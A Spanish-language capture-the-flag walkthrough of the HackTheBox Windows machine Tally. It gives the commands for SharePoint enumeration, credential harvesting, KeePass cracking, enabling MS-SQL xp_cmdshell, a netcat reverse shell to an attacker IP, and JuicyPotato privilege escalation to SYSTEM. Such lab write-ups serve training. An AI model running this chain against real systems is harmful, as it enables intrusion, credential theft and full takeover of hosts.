Volver atras HTB_Tally | Savinotes

HTB_Tally

Tally {-}

Introduccion {-}

La maquina del dia 20/08/2021 se llama Tally.

El replay del live se puede ver aqui

S4vitaar Tally maquina

No olvideis dejar un like al video y un commentario…

Enumeracion {-}

Reconocimiento de maquina, puertos abiertos y servicios {-}

Ping {-}

ping -c 1 10.10.10.59

ttl: 127 -> maquina Windows

Nmap {-}

nmap -p- --open -T5 -v -n 10.10.10.59

Va lento

nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.59 -oG allPorts 
extractPorts allPorts
nmap -sC -sV -p21,80,81,135,139,445,808,1433,5985,15567,32843,32844,32846,47001,49664,49665,49666,49667,49668,49669,49670 10.10.10.59 -oN targeted
PuertoServicioQue se nos occure?Que falta?
21ftpConexion como Anonymous
80httpWeb, Fuzzing
81httpWeb, Fuzzing
135msrpc
139netbios
445smbNull session
808ccproxy-http?
1433ms-sql-s
5985WinRMevil-winrmcredenciales
15567httpWeb, Fuzzing
32843mc-nmfPuertos por defecto de windows
32844mc-nmfPuertos por defecto de windows
32846mc-nmfPuertos por defecto de windows
47001httpPuertos por defecto de windows
49664msrpcPuertos por defecto de windows
49665msrpcPuertos por defecto de windows
49666msrpcPuertos por defecto de windows
49667msrpcPuertos por defecto de windows
49668msrpcPuertos por defecto de windows
49669msrpcPuertos por defecto de windows
49670msrpcPuertos por defecto de windows

Conexion Anonymous con ftp {-}

ftp 10.10.10.59

Name: anonymous
Password: 

User cannot login

El usuario anonymous no esta habilitado.

Analyzando el SMB {-}

crackmapexec smb 10.10.10.59
smbclient -L 10.10.10.59 -N

Vemos que estamos en frente de una maquina Windows Server 2016 Standard de 64 bit pro que se llama TALLY en el dominio TALLY. No podemos connectarnos con un NULL Session.

Analyzando la web {-}

Whatweb {-}

whatweb http://10.10.10.59

Nos enfrentamos a un Microsoft Sharepoint con un IIS 10.0

Analyzando la web con Firefox {-}

Entramos en un panel Sharepoint y vemos en la url que hay un

 _layouts 

Buscamos en google por la palabra

 sharepoint pentest report 

y encontramos la web de pentest-tool. Esto

Vulnerability Assessment {-}

Sharepoint

 _layouts 

{-}

El enlaze de la pagina web es un reporte donde se pueden ver routas interesantes detectadas durante un processo de auditoria.

Si vamos a la url

 http://10.10.10.59/_layouts/viewlsts.aspx 

ya vemos cosas interesantes. Si pinchamos en Shared Documents podemos ver un documento llamado ftp-details y si pinchamos en Site Pages vemos un fichero FinanceTeam. Nos los descargamos.

Si abrimos el fichero

 ftp-details.docx 

con libre office vemos una contraseña. Si miramos la pagina FinanceTeam, vemos un mensaje donde podemos ver usuarios potenciales y un ftp account name.

Conneccion con FTP {-}

ftp 10.10.10.59
Name: ftp_user
Password: UTDRSCH3c"$6hys

Hemos podido authenticarnos. Si le damos a

 dir 

vemos muchos directorios. Si es el caso, S4vi nos propone usar de la Heramienta

 curlftpfs 

para montarnos una montura por ftp

apt install curlftpfs
mkdir /mnt/ftp
curlftpfs ftp_user:'UTDRSCH3c"$6hys'@10.10.10.59 /mnt/ftp
cd /mnt/ftp
tree

Aqui vemos un fichero

 tim.kdbx 

. Es interesante porque los ficheros KDBX son ficheros KeePass y suelen tener informaciones interesantes como contraseñas.

cp User/Tim/Files/tim.kdbx /home/s4vitar/Desktop/S4vitar/Tally/content/.
cd !$
chmod 644 tim.kdbx
apt install keepassxc

Si lanzamos el KeePassxc y que le damos a abrir una base de datos existente, buscamos el fichero

 tim.kdbx 

vemos que nos pide una contraseña. En este caso bamos a lanzar un keepass2john para crackear la contraseña.

Crackeando un fichero KDBX con keepass2john {-}

keepass2john tim.kdbx > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash

Ya tenemos la contraseña. Podemos abrir el fichero KDBX con Keepassxc y aqui ya encontramos una credencial por el usuario Finance. Vamos a checkear los recursos compartidos a nivel de red con este usuario.

SMB {-}

smbclient -L 10.10.10.59 -U "Finance%Acc0unting"
smbclient //10.10.10.59/ACCT -U "Finance%Acc0unting" -c "dir"

Tenemos accesso a un nuevo directorio pero contiene muchos otros directorios. Nos creamos otra montura

mkdir /mnt/smb
mount -t cifs //10.10.10.59/ACCT /mnt/smb -o username=Finance,password=Acc0unting,domain=WORKGROUP,rw
cd /mnt/smb
tree

Aqui vemos que hay ficheros ejecutables en la carpeta

 zz_Migration/Binaries/New Folder/ 

y un binario llamado

 tester.exe 

nos llama la attencion.

cp "/mnt/smb/zz_Migration/Binaries/New Folder/tester.exe" /home/s4vitar/Desktop/content
cd /home/s4vitar/Desktop/content
file tester.exe

Vemos que es un ejecutable windows. Lo vamos a analyzar con radare2 para saber lo que hace a bajo nivel

EXE analysis con radare2 {-}

radare2 tester.exe
> aaa
> s main
> pdf

Bueno aqui podemos ver un usuario y una contraseña para la base de datos MS-SQL

[ ! ]NOTAS: tambien se podria usar el commando

 strings tester.exe | grep "PWD" | tr ';' '\n' | batcat 

Conneccion a la base de datos {-}

sqsh -S 10.10.10.59 -U 'sa'
password: ********

Es valida y estamos connectado a la base de datos

xp_cmdshell "whoami"
go

El commando xp_cmdshell a sido desactivado. Vamos a activar la possiblidad de ejecutar commandos.

sp_configure "show advanced options", 1
reconfigure
go

sp_configure "xp_cmdshell", 1
reconfigure
go

Ya podemos ejectuar commandos

xp_cmdshell "whoami"
go

#Output
tally\sarah

[ ! ]NOTAS: tambien se podria usar el commando

 impacker-mssqlclient WORKGROUP/sa@10.10.10.59 

y con este commando no tendriamos que darle siempre a go.

Como tenemos possiblidad de ejecutar commandos a nivel de systema, nos vamos a connectar a la maquina.

Vuln exploit & Gaining Access {-}

Ganando accesso con MS-SQL {-}

  1. Nos ponemos en escucha por el puerto 443

    rlwrap nc -nlvp 443
  2. Compartimos el binario nc.exe

    locate nc.exe
    cp /usr/share/sqlninja/apps/nc.exe .
    impacket-smbserver smbFolder $(pwd) -smb2support
  3. Desde el ms-sql

    xp_cmdshell "\\10.10.14.7\smbFolder\nc.exe -e cmd 10.10.14.7 443"

Ya hemos ganado accesso al systema como el usuario Sarah y podemos ver la flag

Privilege Escalation {-}

Rootear la maquina {-}

systeminfo
whoami /priv

Aqui vemos que tenemos el

 SeImpersonatePrivilege 

;)

Tiramos como siempre de JuicyPotatoe.exe

Lo descargamos en la maquina de atacante y lo enviamos a la victima.

wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe
cp /usr/share/sqlninja/apps/nc.exe
python3 -m http.server 80

En la maquina victima lo descargamos

cd C:\Windows\Temp
mkdir privesc
cd privesc
iwr -uri http://10.10.14.7/JuicyPotato.exe -OutFile JuicyPotato.exe

Nos creamos un nuevo usuario con el JuicyPotato.

./JuicyPotato.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c net user s4vitar s4vitar1234$! /add"
./JuicyPotato.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c net localgroup Administrators s4vitar /add"

Si comprobamos con el commando

 crackmapexec smb 10.10.10.59 -u 's4vitar' -p 's4vitar1234$!' 

Vemos que el usuario no esta pwned. Aqui tenemos que

./JuicyPotato.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c net share attacker_folder=C:\Windows\Temp /GRANT:Administrators,FULL"
./JuicyPotato.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c reg add HKLM\Software\Microsoft\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f"

Si comprobamos otra vez con crackmapexec, vemos ahora que el usuario s4vitar esta pwned. Ya nos podemos connectar con psexec

impacket-psexec WORKGROUP/s4vitar@10.10.10.59 cmd.exe
Password: s4vitar1234$!

whoami

#Output
nt authority\system

cd C:\Users\Adminstrator\Desktop
dir
type hm.txt

Aqui nos dice que la flag no esta aqui. Pensamos a Alternative Data Streams.

dir /r
more < hm.txt:root.txt

;)